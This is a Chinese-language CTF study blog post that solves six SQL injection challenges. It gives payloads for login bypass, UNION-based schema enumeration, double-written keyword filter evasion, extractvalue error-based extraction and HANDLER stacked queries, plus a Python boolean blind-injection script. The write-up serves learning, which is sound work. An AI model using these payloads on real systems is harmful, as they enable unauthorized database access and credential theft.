当前位置:网站首页>CTF入门笔记之SQL注入
CTF入门笔记之SQL注入
2022-08-02 03:25:00 【SevenCold】
利用information_schema数据库来进行sql注入。
1.最基础的 万能密码获得flag
payload:check.php?username=1%27+or+1%3D1%23&password=1
直接拿到flag。
2.无过滤 运用information_schema数据库
万能密码可以登录,说明可以无过滤。
查看数据有几条
payload:check.php?username=1' order by 4%23&password=1
说明有三条数据
然后爆数据库名
payload:check.php?username=1' union select 1,2,database()%23&password=1
得到数据库
然后爆表名
payload:check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
得到表名
爆字段名
payload:check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
然后爆内容!
payload:check.php?username=1' union select 1,2,group_concat(password) from l0ve1ysq1%23&password=1
这里因为我知道flag在password,所以我只爆了password的内容,当然可以id,username,password都爆出来。
得到flag。
3.双写绕过过滤的注入
发现万能密码会报错,考虑有过滤,双写试一下,发现可以
payload:check.php?username=1' oorr 1=1%23&password=1
然后接下来就可以按步骤来了 爆数据库名-爆表名-爆字段名-爆内容。
爆表
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()%23&password=1
爆表
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'%23&password=1
爆内容 得flag
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1
需要注意的是,因为or关键字被过滤了,所以information,password虽然不是关键字,但其中的or还是要双写的。
4.用extractvalue绕过过滤(报错注入)
爆数据库
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1
爆表
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23&password=1
爆字段
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1
爆内容(password)
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23&password=1
但是extractvalue函数返回值是有字数限制的,所以我们只能看到左边一部分,然后用right函数看右边的
payload:check.php?username=1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),35))%23&password=1
拼接一下得出flag为
flag{4073118d-2919-4563-9ac1-6be41c66a852}
5.sql盲注
拿到题后我试了很多注入姿势,然而都失败了,没办法我直接去搜了wp,然后说是要盲注,好吧,知识盲区。
我就大概去了解了一下盲注,也分很多类型,这道题应该是属于布尔盲注,我对此的理解就是呢,通过简单的测试我们发现,当为1和0回显是不一样的,我们依次来构造比较语句,如果通过则结果为1,反之结果为0,然后记录得到1的情况,拼接出正确答案。还是上脚本吧。(大佬的脚本)
```python
import requests
import time
url='http://d0f7ab5f-bb72-450c-92df-916c71f4b17e.node4.buuoj.cn:81//index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
while 1:
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break
``
因此题目已经说了 flag在flag表中,因此select(flag)from(flag)可以得到flag,但是这在页面是不会回显的,因此还要用盲注。
我们将的到的flag逐位取出去,得到ascii在0-127中进行二分查找,找到后便输出,这样就可以得到flag了。
这里用的注入姿势是0^0|1,因为很多东西都被过滤了嘛。然后加上sleep函数是为了不要访问太快发生异常。
运行脚本就可以看到flag一个一个的蹦出来了~
6.很神奇的一道题目
也不和你绕弯子,就是sql注入,然后我规规矩矩的开始一个个测试。
这些都被过滤了,尝试了很多绕过方法但都失败了,但是发现show databases;show tables;这些是可以用的,我开始找flag字段,最后发现就在当前数据库的另一个表中,但是没有select读不出来啊!!!无奈,又到了经典的搜wp时间了。
看了大佬的wp,甚至还有三种方法,第一种是预编译,有些些复杂,我就不记录了。
第二种也是最简单的方法,sql中竟然还有一个读取字段内容的关键字——handler,amazing!
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
就出来了。
第三种方法就是改表名,将默认显示出来的表明改掉,再将1919810931114514
表改名为默认显示表的表名,flag字段名也改一下,一刷新页面就出来哩。
边栏推荐
猜你喜欢
hackmyvm: controller walkthrough
[sebastian/diff]一个比较两段文本的历史变化扩展库
(6) 学生信息管理系统设计
What are the PHP framework?
hackmyvm: juggling walkthrough
Orasi: 1 vulnhub walkthrough
动力:2 vulnhub预排
(2) Thinkphp6 template engine ** tag
MySql高级 -- 约束
[sebastian/diff] A historical change extension library for comparing two texts
随机推荐
PHP realizes the automatic reverse search prompt of the search box
4.表单与输入
(5) 模块与包、编码格式、文件操作、目录操作
PHP8.2中字符串变量解析的新用法
The focus of the Dom implementation input triggers
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
4. The form with the input
(1) introduction to Thinkphp6, installation view, template rendering, variable assignment
17. JS conditional statements and loops, and data type conversion
What are the PHP framework?
PHP8.2 version release administrator and release plan
Various ways of AES encryption
PHP基金会三月新闻公告发布
ES6三点运算符、数组方法、字符串扩展方法
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
IP access control: teach you how to implement an IP firewall with PHP
Kali install IDEA
14.JS语句和注释,变量和数据类型
[symfony/mailer] An elegant and easy-to-use mail library
2. PHP variables, output, EOF, conditional statements